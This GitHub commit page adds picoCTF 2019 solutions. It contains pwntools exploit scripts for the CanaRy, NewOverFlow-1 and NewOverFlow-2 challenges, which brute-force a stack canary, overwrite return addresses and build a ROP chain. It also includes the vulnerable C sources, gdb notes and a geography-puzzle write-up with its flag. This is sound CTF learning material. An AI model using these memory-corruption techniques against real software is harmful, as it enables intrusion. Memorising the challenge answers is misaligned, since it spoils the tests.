Skip to content

Commit 88b0327

Browse files
committed
[writeup] add picoctf 2019 (part)
1 parent d6e5208 commit 88b0327

File tree

32 files changed

+948
-0
lines changed

32 files changed

+948
-0
lines changed

README.md

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,3 +7,21 @@
77
- [malvertising](google-ctf-2019/malvertising/writeup.md)
88
- [MicroServiceDaemonOS](google-ctf-2019/MicroServiceDaemonOS/shellcode.py)
99
- [dialtone](google-ctf-2019/dialtone/writeup.md)
10+
11+
# picoctf 2019
12+
- [c0rrypt](picoctf-2019/c0rrupt/writeup.md)
13+
- [CanaRy](picoctf-2019/CanaRy/shellcode.py)
14+
- [overflow-0](picoctf-2019/overflow-0/shellcode.py)
15+
- [overflow-1](picoctf-2019/overflow-1/writeup.md)
16+
- [overflow-2](picoctf-2019/overflow-2/writeup.md)
17+
- [shark-on-wire1](picoctf-2019/shark-on-wire1/writeup.md)
18+
- [asm2](picoctf-2019/asm2/writeup.md)
19+
- [WhitePages](picoctf-2019/WhitePages/decode.py)
20+
- [Mr. WorldWide](picoctf-2019/Mr-WorldWide/writeup.md)
21+
- [caesar](picoctf-2019/caesar/decode.py)
22+
- [NewOverFlow-1](picoctf-2019/NewOverFlow-1/shellcode.py)
23+
- [NewOverFlow-2](picoctf-2019/NewOverFlow-2/shellcode.py)
24+
- [like1000](picoctf-2019/like1000/writeup.md)
25+
- [rot13](picoctf-2019/rot13/writeup.md)
26+
- [the numbers](picoctf-2019/the_numbers/writeup.md)
27+
- [rop32](picoctf-2019/rop32/shellcode.py)

picoctf-2019/CanaRy/shellcode.py

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
import pwn
2+
3+
remote_binary = "/problems/canary_2_dffbf795b4788666d54a993a5e41d145/vuln"
4+
5+
BUF_LEN = 32
6+
KEY_LEN = 4
7+
8+
def find_canary():
9+
canary = b""
10+
for l in range(KEY_LEN):
11+
for c in range(256):
12+
pr = pwn.process(remote_binary)
13+
try:
14+
pr.writelineafter("Please enter the length of the entry:\n> ", str(BUF_LEN + len(canary) + 1))
15+
pr.writelineafter("Input>", b"A"*BUF_LEN + canary + pwn.p8(c))
16+
line = pr.readline();
17+
if "Stack Smashing Detected" in line:
18+
continue
19+
canary += pwn.p8(c)
20+
break
21+
finally:
22+
pr.close()
23+
return canary
24+
25+
def send_payload(canary, payload):
26+
pr = pwn.process(remote_binary)
27+
try:
28+
pr.writelineafter("Please enter the length of the entry:\n> ", str(BUF_LEN + len(canary) + len(payload)))
29+
pr.writeafter("Input>", "A"*BUF_LEN + canary.encode() + payload)
30+
rsp = pr.readall(timeout=0.5)
31+
return rsp
32+
finally:
33+
pr.close()
34+
35+
def detect_segfault(canary):
36+
37+
ofs = 16
38+
while True:
39+
#payload = pwn.fit({ofs: pwn.p16(pwn.ELF(remote_binary, False).sym["display_flag"])}, filler='B')
40+
payload = b"A"*ofs + pwn.p16(pwn.ELF(remote_binary, False).sym["display_flag"])
41+
rsp = send_payload(canary, payload)
42+
if "pico" in rsp.lower():
43+
print(rsp)
44+
break
45+
46+
canary = find_canary()
47+
print("canary:", canary)
48+
detect_segfault(canary)

picoctf-2019/CanaRy/vuln.c

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <string.h>
4+
#include <unistd.h>
5+
#include <sys/types.h>
6+
#include <wchar.h>
7+
#include <locale.h>
8+
9+
#define BUF_SIZE 32
10+
#define FLAG_LEN 64
11+
#define KEY_LEN 4
12+
13+
void display_flag() {
14+
char buf[FLAG_LEN];
15+
FILE *f = fopen("flag.txt","r");
16+
if (f == NULL) {
17+
printf("'flag.txt' missing in the current directory!\n");
18+
exit(0);
19+
}
20+
fgets(buf,FLAG_LEN,f);
21+
puts(buf);
22+
fflush(stdout);
23+
}
24+
25+
char key[KEY_LEN];
26+
void read_canary() {
27+
FILE *f = fopen("/problems/canary_2_dffbf795b4788666d54a993a5e41d145/canary.txt","r");
28+
if (f == NULL) {
29+
printf("[ERROR]: Trying to Read Canary\n");
30+
exit(0);
31+
}
32+
fread(key,sizeof(char),KEY_LEN,f);
33+
fclose(f);
34+
}
35+
36+
void vuln(){
37+
char canary[KEY_LEN];
38+
char buf[BUF_SIZE];
39+
char user_len[BUF_SIZE];
40+
41+
int count;
42+
int x = 0;
43+
memcpy(canary,key,KEY_LEN);
44+
printf("Please enter the length of the entry:\n> ");
45+
46+
while (x<BUF_SIZE) {
47+
read(0,user_len+x,1);
48+
if (user_len[x]=='\n') break;
49+
x++;
50+
}
51+
sscanf(user_len,"%d",&count);
52+
53+
printf("Input> ");
54+
read(0,buf,count);
55+
56+
if (memcmp(canary,key,KEY_LEN)) {
57+
printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
58+
exit(-1);
59+
}
60+
printf("Ok... Now Where's the Flag?\n");
61+
fflush(stdout);
62+
}
63+
64+
int main(int argc, char **argv){
65+
66+
setvbuf(stdout, NULL, _IONBF, 0);
67+
68+
int i;
69+
gid_t gid = getegid();
70+
setresgid(gid, gid, gid);
71+
72+
read_canary();
73+
vuln();
74+
75+
return 0;
76+
}

picoctf-2019/Mr-WorldWide/writeup.md

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
We got list of float point numbers from the message. the challenge named Mr. Worldwide, guess this numbers represent latitude and longitude of location.
2+
3+
```
4+
[
5+
(35.028309, 135.753082)
6+
(46.469391, 30.740883)
7+
(39.758949, -84.191605)
8+
(41.015137, 28.979530)
9+
(24.466667, 54.366669)
10+
(3.140853, 101.693207)
11+
_
12+
(9.005401, 38.763611)
13+
(-3.989038, -79.203560)
14+
(52.377956, 4.897070)
15+
(41.085651, -73.858467)
16+
(57.790001, -152.407227)
17+
(31.205753, 29.924526)
18+
]
19+
```
20+
21+
Look it up at [findlatitudeandlongitude](https://www.findlatitudeandlongitude.com), every tuple is a city on the map, we use the first letter of the city name
22+
. then we got the flag.
23+
24+
```
25+
picoCTF{KODIAK_ALASKA}
26+
```
Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
import pwn
2+
3+
remote_binary = "/problems/newoverflow-1_4_3fc8f7e1553d8d36ded1be37c306f3a4/vuln"
4+
5+
BUF_LEN = 64
6+
pr = pwn.process(remote_binary)
7+
8+
9+
def detect_segfault():
10+
11+
"""
12+
gdb ./vuln
13+
...
14+
(gdb) r <<< $(python2 -c "import pwn;print(pwn.cyclic(128, n=8))")
15+
...
16+
Program received signal SIGSEGV, Segmentation fault.
17+
0x00000000004007e7 in vuln ()
18+
...
19+
(gdb) info stack
20+
#0 0x00000000004007e7 in vuln ()
21+
#1 0x616161616161616a in ?? ()
22+
#2 0x616161616161616b in ?? ()
23+
#3 0x616161616161616c in ?? ()
24+
#4 0x616161616161616d in ?? ()
25+
#5 0x616161616161616e in ?? ()
26+
#6 0x616161616161616f in ?? ()
27+
#7 0x6161616161616170 in ?? ()
28+
#8 0x0000000000000000 in ?? ()
29+
...
30+
31+
>>> pwn.cyclic_find(pwn.p64(0x616161616161616a),n=8)
32+
72
33+
"""
34+
ofs = pwn.cyclic_find(pwn.p64(0x616161616161616a),n=8)
35+
36+
"""
37+
It doesn't show the flag with
38+
```
39+
payload = b'A'*ofs + pwn.p64(pwn.ELF(remote_binary, False).sym["flag"])
40+
pr.writelineafter("Welcome to 64-bit. Give me a string that gets you the flag: \n", payload)
41+
rsp = pr.readall(timeout=0.5)
42+
```
43+
44+
Lets' debug with a fake flag file.
45+
$ echo "aaaflagaaa" > flag.txt
46+
47+
$ gdb /problems/newoverflow-1_4_3fc8f7e1553d8d36ded1be37c306f3a4/vuln
48+
(gdb) r <<< $(python2 -c 'import pwn;print(b"A"*72+pwn.p64(pwn.ELF("/problems/newoverflow-1_4_3fc8f7e1553d8d36ded1be37c306f3a4/vuln",False).sym["flag"]))')
49+
Starting program: /problems/newoverflow-1_4_3fc8f7e1553d8d36ded1be37c306f3a4/vuln <<< $(python2 -c 'import pwn;print(b"A"*72+pwn.p64(pwn.ELF("/problems/newoverflow-1_4_3fc8f7e1553d8d36ded1be37c306f3a4/vuln",False).sym["flag"]))')
50+
/bin/bash: warning: command substitution: ignored null byte in input
51+
Welcome to 64-bit. Give me a string that gets you the flag:
52+
53+
Program received signal SIGSEGV, Segmentation fault.
54+
buffered_vfprintf (s=s@entry=0x7fa4bdc17760 <_IO_2_1_stdout_>, format=format@entry=0x7ffde5d09c58 "aaaflagaaa\n", args=args@entry=0x7ffde5d09b78) at vfprintf.c:2314
55+
2314 vfprintf.c: No such file or directory.
56+
(gdb) disas
57+
Dump of assembler code for function buffered_vfprintf:
58+
...
59+
0x00007fa4bd8896e0 <+144>: mov %eax,0xa4(%rsp)
60+
0x00007fa4bd8896e7 <+151>: lea 0x389072(%rip),%rax # 0x7fa4bdc12760 <_IO_helper_jumps>
61+
=> 0x00007fa4bd8896ee <+158>: movaps %xmm0,0x50(%rsp)
62+
0x00007fa4bd8896f3 <+163>: mov %rax,0x108(%rsp)
63+
...
64+
There is a `movaps` instructions here, according to (x86 Instruction Set Reference MOVAPS)[https://c9x.me/x86/html/file_module_x86_id_180.html], the instruction is used for alignment.
65+
> Moves a double quadword containing four packed single-precision floating-point values from the source operand (second operand) to the destination operand (first operand). This instruction can be used to load an XMM register from a 128-bit memory location, to store the contents of an XMM register into a 128-bit memory location, or to move data between two XMM registers.
66+
67+
When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated.
68+
69+
70+
To solve this we need to call `main` again before jump to `flag`.
71+
"""
72+
payload = b'A'*ofs + pwn.p64(pwn.ELF(remote_binary, False).sym["main"])
73+
pr.writelineafter("Welcome to 64-bit. Give me a string that gets you the flag: \n", payload)
74+
75+
payload = b'A'*ofs + pwn.p64(pwn.ELF(remote_binary, False).sym["flag"])
76+
pr.writelineafter("Welcome to 64-bit. Give me a string that gets you the flag: \n", payload)
77+
rsp = pr.readall(timeout=0.5)
78+
79+
print('ofs:', ofs);print('rsp:', rsp)
80+
if "pico" in rsp.lower():
81+
print(rsp)
82+
83+
detect_segfault()

picoctf-2019/NewOverFlow-1/vuln.c

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <string.h>
4+
#include <unistd.h>
5+
#include <sys/types.h>
6+
7+
#define BUFFSIZE 64
8+
#define FLAGSIZE 64
9+
10+
void flag() {
11+
char buf[FLAGSIZE];
12+
FILE *f = fopen("flag.txt","r");
13+
if (f == NULL) {
14+
printf("'flag.txt' missing in the current directory!\n");
15+
exit(0);
16+
}
17+
18+
fgets(buf,FLAGSIZE,f);
19+
printf(buf);
20+
}
21+
22+
void vuln(){
23+
char buf[BUFFSIZE];
24+
gets(buf);
25+
}
26+
27+
int main(int argc, char **argv){
28+
29+
setvbuf(stdout, NULL, _IONBF, 0);
30+
gid_t gid = getegid();
31+
setresgid(gid, gid, gid);
32+
puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
33+
vuln();
34+
return 0;
35+
}
36+
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
import os
2+
os.environ['TMPDIR'] = os.path.join(os.environ['HOME'], 'tmp')
3+
4+
import pwn
5+
6+
remote_binary = "/problems/newoverflow-2_4_2cbec72146545064c6623c465faba84e/vuln"
7+
remote_binary = "./vuln"
8+
9+
BUF_LEN = 64
10+
pr = pwn.process(remote_binary)
11+
12+
def detect_segfault():
13+
"""
14+
Input result of `pwn.cyclic(128,n=8)`, we got a segfault. By checking the stack, we have
15+
(gdb) info stack
16+
#0 0x00000000004008cd in vuln ()
17+
#1 0x616161616161616a in ?? ()
18+
#2 0x616161616161616b in ?? ()
19+
#3 0x616161616161616c in ?? ()
20+
#4 0x616161616161616d in ?? ()
21+
#5 0x616161616161616e in ?? ()
22+
#6 0x616161616161616f in ?? ()
23+
#7 0x6161616161616170 in ?? ()
24+
#8 0x0000000000000000 in ?? ()
25+
"""
26+
ofs = pwn.cyclic_find(pwn.p64(0x616161616161616a),n=8) # 72
27+
28+
"""
29+
A trick due to old code haven't been removed
30+
31+
payload = b'A'*ofs + pwn.p64(pwn.ELF(remote_binary, False).sym["main"])
32+
pr.writelineafter("Welcome to 64-bit. Can you match these numbers?\n", payload);
33+
34+
payload = b'A'*ofs + pwn.p64(pwn.ELF(remote_binary, False).sym["flag"])
35+
pr.writelineafter("Welcome to 64-bit. Can you match these numbers?\n", payload);
36+
"""
37+
38+
for _ in range(0):
39+
payload = b'A'*ofs + pwn.p64(pwn.ELF(remote_binary, False).sym["main"])
40+
pr.writelineafter("Welcome to 64-bit. Can you match these numbers?\n", payload);
41+
42+
"""
43+
According to the conditions we need to make `win1` and `win2` true by calling `win_fn1` and `win_fn2` before `win_fn`
44+
"""
45+
payload = b"A"*ofs + build_rop()
46+
print("payload:\n", payload)
47+
pr.writelineafter("Welcome to 64-bit. Can you match these numbers?\n", payload);
48+
rsp = pr.readall(timeout=0.5)
49+
50+
print('ofs:', ofs);print('rsp:', rsp)
51+
if rsp and "pico" in rsp.decode().lower():
52+
print(rsp)
53+
54+
def build_rop():
55+
rop = pwn.ROP(remote_binary)
56+
rop.win_fn1(0xDEADBEEF)
57+
rop.win_fn2(0xBAADCAFE,0xCAFEBABE,0xABADBABE)
58+
rop.win_fn()
59+
60+
return rop.chain()
61+
62+
detect_segfault()

0 commit comments

Comments
 (0)